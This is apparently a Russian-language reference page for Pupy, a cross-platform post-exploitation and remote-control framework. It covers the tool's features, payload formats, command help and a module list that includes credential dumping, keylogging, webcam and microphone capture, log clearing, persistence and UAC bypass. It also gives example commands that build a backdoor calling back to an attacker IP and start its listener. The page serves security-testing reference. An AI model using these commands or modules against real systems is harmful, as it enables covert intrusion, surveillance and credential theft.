Pupy
Описание Pupy
Pupy — это инструмент с открытым исходным кодом для удалённого администрирования и последующей эксплуатации (post-exploitation), работающий на различных платформах (Windows, Linux, OSX, Android). Его особенностями является выполнение только в памяти, благодаря чему остаётся очень мало следов. Pupy умеет общаться с удалённой машиной используя несколько транспортов, выполнять миграцию в процессы с помощью рефлексивного внедрения и загружать удалённый код Python, пакеты Python и C-расширения Python из памяти.
Функции:
- Полезная нагрузка Windows может загрузить весь интерпретатор Python из памяти, используя reflective DLL.
- Pupy не трогает диск.
- Может быть упакован в один файл .py и работать без каких-либо зависимостей, кроме стандартной библиотеки python во всех ОС.
- PyCrypto заменена чистыми реализациями Python AES & RSA, когда PyCrypto недоступна.
- Рефлексивно мигрируют в другие процессы.
- Удалённо импортируйте из памяти чистые пакеты Python (.py, .pyc) и скомпилированные расширения Python C (.pyd, .so).
- Импортированные модули Python не касаются диска.
- Pupy легко расширяема, модули просты в написании и сортируются по ОС и категориям.
- Модули могут напрямую обращаться к объектам python на удалённом клиенте с помощью rpyc.
- Доступ к удаленным объектам в интерактивном режиме из оболочки pupy и автоматическое заполнение удалённых атрибутов.
- Транспорты связи являются модульными и наращиваемыми. Выполните эксфильтрацию данных, используя HTTP через HTTP поверх AES через XOR или любую комбинацию доступных транспортов.
- Общайтесь с помощью подключаемых транспортов obfsproxy.
- Выполняйте неинтерактивные команды на нескольких хостах одновременно.
- Команды и сценарии, выполняемые на удалённых хостах, являются прерываемыми.
- Автозаполнение для команд и аргументов.
- Можно задать пользовательский конфиг: псевдонимы команд, модули. автоматически запускаться при подключении и т. д.
- Открытые интерактивные оболочки Python с автозаполнением на удалённом интерпретаторе Python работающим по принципу all-in-memory (всё выполняется в памяти).
- Интерактивные оболочки (cmd.exe, /bin/bash и так далее) Можно открывать удалённо.
- Удалённые оболочки на клиентах Unix и Windows имеют настоящий tty с поддержкой всех сигналов клавиатуры, работающими как оболочка SSH
- Выполните PE исполняемый файл удалённо и из памяти.
- Генерация полезных нагрузок в различных форматах:
Формат | Архитектура | Сокращённое имя |
---|---|---|
Пакет Android | x86 & ARMv7 | apk |
Исполнимый файл Linux | x86 | lin_x86 |
Исполнимый файл Linux | x64 | lin_x64 |
Разделяемый объект Linux | x86 | so_x86 |
Разделяемый объект Linux | x64 | so_x64 |
Исполнимый файл Windows PE | x86 | exe_x86 |
Исполнимый файл Windows PE | x64 | exe_x64 |
Windows DLL | x86 | dll_x86 |
Windows DLL | x64 | dll_x64 |
Скрипт Python | x86 & x64 | py |
PyInstaller | x86 & x64 | pyinst |
Python Oneliner | x86 & x64 | py_oneliner |
Powershell | x86 & x64 | ps1 |
Powershell Oneliner | x86 & x64 | ps1_oneliner |
Ducky Script | N/A | rubber_ducky |
- Развёртывание в памяти из одной строки команды с использованием однострочников Python или PowerShell.
- Встраивайте «скриптлеты» в сгенерированные полезные нагрузки для выполнения некоторых задач «в автономном режиме» без необходимости подключения к сети (например: запуск кейлоггера, добавление персистентности, выполнение собственного сценария Python, check_vm и т. д.)
- Несколько целевых платформ:
Платформа | Статус поддержки |
---|---|
Windows XP | Поддерживается |
Windows 7 | Поддерживается |
Windows 8 | Поддерживается |
Windows 10 | Поддерживается |
Linux | Поддерживается |
Mac OSX | Ограниченная поддержка |
Android | Ограниченная поддержка |
Домашняя страница: https://github.com/n1nj4sec/pupy
Автор: Nicolas VERDIER
Лицензия: AS IS
Справка по Pupy
Справка по gen
Использование:
gen [-h] [-f {client,py,pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky,csharp,.NET,.NET_oneliner}] [-O {android,windows,linux,solaris}] [-A {x86,x64}] [-U] [-P PACKER] [-S] [-o OUTPUT] [-d < ATTEMPTS > < MIN SEC > < MAX SEC >] [-D OUTPUT_DIR] [-s SCRIPTLET] [-l] [-E] [--no-use-proxy] [--oneliner-nothidden] [--debug-scriptlets] [--debug] [--workdir WORKDIR] [{bind,auto_proxy,dnscnc,connect}] ...
Опции:
позиционные аргументы: {bind,auto_proxy,dnscnc,connect} Выбор лончера. Лончеры делают полезную нагрузку которая при запуске ведёт себя по-разному. launcher_args опции лончера опциональные аргументы: -h, --help показать справку и выйти -f {client,py,pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky,csharp,.NET,.NET_oneliner}, --format {client,py,pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky,csharp,.NET,.NET_oneliner} (по умолчанию: client) -O {android,windows,linux,solaris}, --os {android,windows,linux,solaris} Целевая ОС (по умолчанию: windows) -A {x86,x64}, --arch {x86,x64} Целевая архитектура (по умолчанию: x86) -U, --uncompressed Использовать шаблон без сжатия -P PACKER, --packer PACKER Использовать пакер, когда форматом вывода выбран 'client' (по умолчанию: ) -S, --shared Создать совместно используемый (shared) объект -o OUTPUT, --output OUTPUT имя файла вывода -d <ATTEMPTS> <MIN SEC> <MAX SEC>, --delays-list <ATTEMPTS> <MIN SEC> <MAX SEC> Формат: <максимальное кол-во попыток> <минимальная задержка (секуны)> <максимальная задержка (секуны)> -D OUTPUT_DIR, --output-dir OUTPUT_DIR папка вывода (по умолчанию: /root/.config/pupy/output) -s SCRIPTLET, --scriptlet SCRIPTLET офлайн python скриплеты для выполнения перед запуском соединения. Можно указать несколько скриплетов. -l, --list вывести список доступных форматов, транспортёров, скриплетов и опций -E, --prefer-external В случае автоопределения предпочитать внешний IP --no-use-proxy Не использовать конфигурацию прокси цели, даже если она используется целью (сейчас пока только для ps1_oneliner) --oneliner-nothidden Скрипт Powershell не скрыт целевой стороной (по умолчанию: False) --debug-scriptlets не перехватывать исключения в скриплетах на клиенте для целей отладки --debug собрать с шаблоном отладки (полезная нагрузка открывает консоль) --workdir WORKDIR Установить рабочую папку (По умолчанию = текущая рабочая папка)
Справка по listen
Использование:
listen [-h] [-l | -L | -a TRANSPORT [TRANSPORT_ARG1 ...] | -A TRANSPORT [TRANSPORT_ARG1 ...] | -r TRANSPORT]
Опциональные аргументы:
-h, --help показать справку и выйти -l, --list показать рекущие слушатели -L, --list-transports показать доступные транспорты -a TRANSPORT [TRANSPORT_ARG1 ...], --add TRANSPORT [TRANSPORT_ARG1 ...] запустить слушатель -A TRANSPORT [TRANSPORT_ARG1 ...], --add-no-pproxy TRANSPORT [TRANSPORT_ARG1 ...] запустить слушатель (игнорируя прокси) -r TRANSPORT, --remove TRANSPORT остановить слушатель
Справка по connect
Использование:
connect [-h] -c <хост:порт> [-t {obfs3,http,ssl,ecm,tcp_cleartext,dfws,rsa,udp_secure,kc4,ec4,ws,scramblesuit,udp_cleartext,ssl_rsa}]
Опции:
позиционные аргументы: transport_args Аргументы транспорта: ключ=значение ключ=значение ... опциональные аргументы: -h, --help показать справку и выйти -c <host:port>, --host <хост:порт> хост:порт сервера pupy к которому нужно подключиться. Вы можете указать несколько аргументов --host arguments для попытки подключения к нескольким IP -t {obfs3,http,ssl,ecm,tcp_cleartext,dfws,rsa,udp_secure,kc4,ec4,ws,scramblesuit,udp_cleartext,ssl_rsa}, --transport {obfs3,http,ssl,ecm,tcp_cleartext,dfws,rsa,udp_secure,kc4,ec4,ws,scramblesuit,udp_cleartext,ssl_rsa} Используемый транспорт
Справка по sessions
Использование:
sessions [-h] [-i <фильтр>] [-g] [-k ] [-K] [-d ] [-D]
Опциональные аргументы:
-h, --help -i <фильтр>, --interact <фильтр> изменить дефолтное значение --filter для других команд -g, --global-reset сбросить --interact до стандартного глобального поведения -k <id> Убить выбранную сессию -K Убить все сессии -d <id> Сбросить соединение (резко закрыть сокет) -D Сбросить все соединения
Справка по jobs
Использование:
jobs [-h] [-k| -K ] [-l] [-p ]
Опциональные аргументы:
-h, --help показать справку и выйти -k <job_id>, --kill <job_id> закрыть работу, но перед этим показать её текущий вывод -K <job_id>, --kill-no-output <job_id> закрыть работу без показа вывода -l, --list вывести список работ -p <job_id>, --print-output <job_id> напечатать вывод работы
Справка по run
Использование:
run [-h] [-1] [-o ВЫВОД] [-f <фильтр клиента>] [-b] <модуль> ...
Опции:
позиционные аргументы: <module> модуль <arguments> аргументы модуля опциональные аргументы: -h, --help показать справку и выйти -1, --once Выгрузить новые депы после использования -o ВЫВОД, --output ВЫВОД сохранить вывод команды в файл.%t — временная метка, %h - хост, %m - MAC-адрес, %c — короткое имя клиента, %M — имя модуля, %p - платформа, %u - пользователь, %a - IP адрес -f <фильтр клиента>, --filter <фильтр клиента> выполнять на клиентах, подходящих под фильтр. Все поля, по которым можно фильтровать, можно увидеть в модуле "info". Например: run get_info -f 'platform:win release:7 os_arch:64' -b, --background запустить в фоне
Модули
Категория Имя Описание ------------------------------------------------------------------------------------------------------------------------------------------------------------ Администрирование shares Вывести список локальных и удалённых совместно используемых папок и разрешений Администрирование clear_logs Очистить логи событий Администрирование wmic Запрос к Wmi используя Wql Администрирование psh Загрузить/Выполнить скрипты Powershell Администрирование ssh Ssh клиент Администрирование rfs Монтировать удалённую файловую систему как Fuse Fs к точке монтирования Администрирование reg Поиск/Составление списка/Получение/Установка/Удаление Ключей/Значений регистра Администрирование smbspider Обойти директории Smb и рекурсивно искать в файлах строку Администрирование shell_exec Выполнить команды оболочки на удалённой системе Администрирование become Стать пользователем Администрирование logs Показать логи (или попытаться найти что-либо) Администрирование alive Запрос для отправки пакетов Keepalive на уровне Rpyc Администрирование rdesktop Запустить сессию удалённого рабочего стола используя Websocket клиент браузера Администрирование cp Скопировать файл или директорию Администрирование interactive_shell Открыть интерактивную оболочку для команд с приятным Tty Администрирование rm Удалить файл или директорию Администрирование smb Копировать файл через протокол Smb Администрирование hibernate Закрыть сессию на время X часов Администрирование netstat Вывести терминальные сессии Администрирование drives Вывести список валидных дисков в системе Администрирование sshell Интерактивный шелл Ssh Администрирование last Список терминальных сессий Администрирование rdp Включить / Отключить Rdp соединение или проверить валидность учётных данных на удалённом хосте Администрирование w Список терминальных сессий Администрирование getdomain Получить Primary Domain Controller (Основной контроллер домена) Администрирование cd Поменять папку Администрирование date Получить текущую дату Администрирование pexec Выполнить команды оболочки неинтерактивно на удалённой системе в фоне используя Popen Администрирование ps Вывести список процессов Администрирование zip Zip / Unzip (запаковать/распаковать) файл или директорию Администрирование mkdir Создать пустую папку Администрирование dns Получить доменное имя из IP и в обратную сторону Администрирование ls Вывести список системных файлов Администрирование psexec Запустить удалённую команду используя Smbexec или Wmiexec Администрирование pwd Узнать текущую рабочую директорию Администрирование pyexec Выполнить код Python на удалённой системе Администрирование beroot Проверить пути эскалации привилегий Администрирование cat Показать содержимое файла Администрирование pyshell Открыть интерактивную оболочку Python на удалённом клиенте Администрирование mv Переместить файл или директорию Администрирование display Установить переменную Display Администрирование ip Вывести список интерфейсов Администрирование sudo_alias Записать псевдоним для sudo для получения пользовательского пароля Администрирование igd Клиент Upnp Igd Администрирование stat Показать немного больше информации о файловом пути. В данный момент это Acls/Caps/Owner Администрирование http Тривиальный Get/Post запрос через протокол Http Администрирование x509 Получить сертификат с сервера Администрирование getppid Вывести информацию о родительском процессе Администрирование getpid Вывести информацию о процессе Администрирование services Вывести список служб Администрирование getuid Получить имя пользователя Учётные данные loot_memory Обход памяти процесса в поисках учётных данных в виде простого текста Учётные данные creddump Загрузить Hives с удалённой системы Windows и собрать учётные данные Учётные данные lazagne Получить хранимые на цели пароли Учётные данные mimipy Запустить Mimipy для получения учётных данных из памяти Учётные данные memstrings Получить печатные строки из памяти процесса для дальнейшего анализа Эксплуатация mimishell Выполнить Mimikatz из памяти (Интерактивно) Эксплуатация mimikatz Выполнить Mimikatz из памяти (не-интерактивно) Эксплуатация exploit_suggester Подсказчик эксплойтов Эксплуатация shellcode_exec Выполнить указанный шелл код (Shellcode) на клиенте Эксплуатация impersonate Список токенов процессов Сбор keylogger Перехватчик нажатий клавиатуры (Keylogger) для мониторинга всех взаимодействий с клавиатурой, включая буфер обмена Сбор hashmon Попробовать найти в памяти пароли в виде простого текста Сбор get_info Получить информацию об одном или нескольких клиентах Сбор contacts Для получения контактов Сбор isearch Использовать Windows Search Index для поиска данных Сбор search Пройтись по директориям и рекурсивно искать строку в файлах Сбор check_vm Проверить, запущен ли клиент ли на виртуальной машине Сбор outlook Взаимодействие с сессией Outlook целевого пользователя Сбор record_mic Запись звука с микрофона! Сбор pywerview Переписать некоторую функциональность Powerview на Python Сбор apps Взаимодействие с менеджером приложений Сбор call Получить подробности о звонке Сбор mouselogger Ведение журналов клики мыши и получения скриншотов области вокруг них Сбор powerview Выполнить команды Powerview Сбор get_hwuuid Попробовать получить Uuid (Dmi) или Machine-Id (Dbus/Linux) Сбор webcamsnap Сделать снимок с веб-камеры Сбор usniper Глобальный захват строк или регистра во время выполнения Сбор cloudinfo Получить метаданные Ec2/Digitalocean Сбор users Получить интерактивного пользователя Сбор screenshot Сделать скриншот Сбор ttyrec Глобальный захват ввода/вывода на Tty. Совместима с ядрами Сбор gpstracker Для взаимодействия с GPS Сбор exit Выйти из клиента на другой стороне Сбор process_kill Убить процесс Управление edit Локальное редактирование удалённого файла (Загрузка->Редактирование->Выгрузка) Управление upload Выгрузка файла/Директории на удалённую систему Управление hide_process Редактирование аргументы и окружение текущего процесса чтобы не выглядеть подозрительным Управление download Загрузка файла/Директории с удалённой системы Управление getprivs Управление привилегиями текущего процесса Управление tasks Получить информацию о зарегистрированных фоновых задачах Управление memory_exec Выполнить исполнимый файл в памяти Управление lock_screen Заблокировать сессию Управление duplicate Дуплицировать текущую полезную нагрузку Pupy выполнив её в памяти Управление load_package Загрузить пакет Python на удалённый клиент. Файлы пакетов должны быть помещены в одну из папок с общим видом Pupy/Packages/<Os>/<Arch>/ Repository Управление migrate Переместить Pupy в другой процесс используя Reflective Dll Injection Управление write Записать короткую строку в файл Управление env Вывести список/Получить/Установить/удалить переменные окружения клиента Управление persistence Включить / Отключить закрепление в удалённой системе Сеть port_scan Запуск сканера Tcp портов Сеть forward Локальное/Удалённое перенаправление портов и Socks прокси Сеть tcpdump Модуль для воспроизведения некоторых классических функций инструмента Tcpdump Повышение привилегий getsystem Пытается получить привилегии Nt Authority System Повышение привилегий bypassuac Обход UAC, но будьте осторожны, большинство методов обхода выявляются антивирусами Повышение привилегий inveigh Выполнить команды Inveigh Повышение привилегий privesc_checker Скрипты повышения привилегий Linux Троллинг text_to_speach Использовать генератор голоса (Text To Speach) на Android чтобы что-нибудь сказать Троллинг vibrate Активация вибратора на телефоне/планшете Троллинг msgbox Всплывающее окно с указанным сообщением
Руководство по Pupy
Страница man отсутствует.
Примеры запуска Pupy
Создать исполнимый файл бэкдора (-f client) для 64-битной версии (-A x64) Windows (-O windows), который после запуска будет подключаться к компьютеру атакующего (connect) имеющему IP адрес 192.168.1.112 и ожидающему подключение на порту 43210 (--host 192.168.1.112:43210), при этом в качестве транспорта использовать HTTP подобный синтаксис (-t http):
gen -f client -O windows -A x64 connect --host 192.168.1.112:43210 -t http
Запуск слушателя на компьютере атакующего ожидающего подключения по HTTP подобному транспорту (http) на порту 43210:
listen -a http 43210
Установка Pupy
Подробности об установке смотрите в статье «Как установить Pupy».
Установка в Kali Linux
sudo apt install git libssl1.0-dev libffi-dev python-dev python-pip build-essential swig tcpdump python-virtualenv git clone --recursive https://github.com/n1nj4sec/pupy cd pupy python create-workspace.py -DG pupyw sudo pip2 install rpyc==3.4.4
Запуск:
export PATH=$PATH:~/.local/bin; pupysh
Установка в BlackArch
Программа предустановлена в BlackArch.
sudo pacman -S pupy sudo pacman -Rdd python2-rpyc sudo pip2 install rpyc==3.4.4
Информация об установке в другие операционные системы будет добавлена позже.
Скриншоты Pupy
Инструкции по Pupy
- Как установить Pupy
- Инструкция по Pupy: как создать бэкдор
- Как удалённо управлять компьютерами через бэкдор
Comments are Closed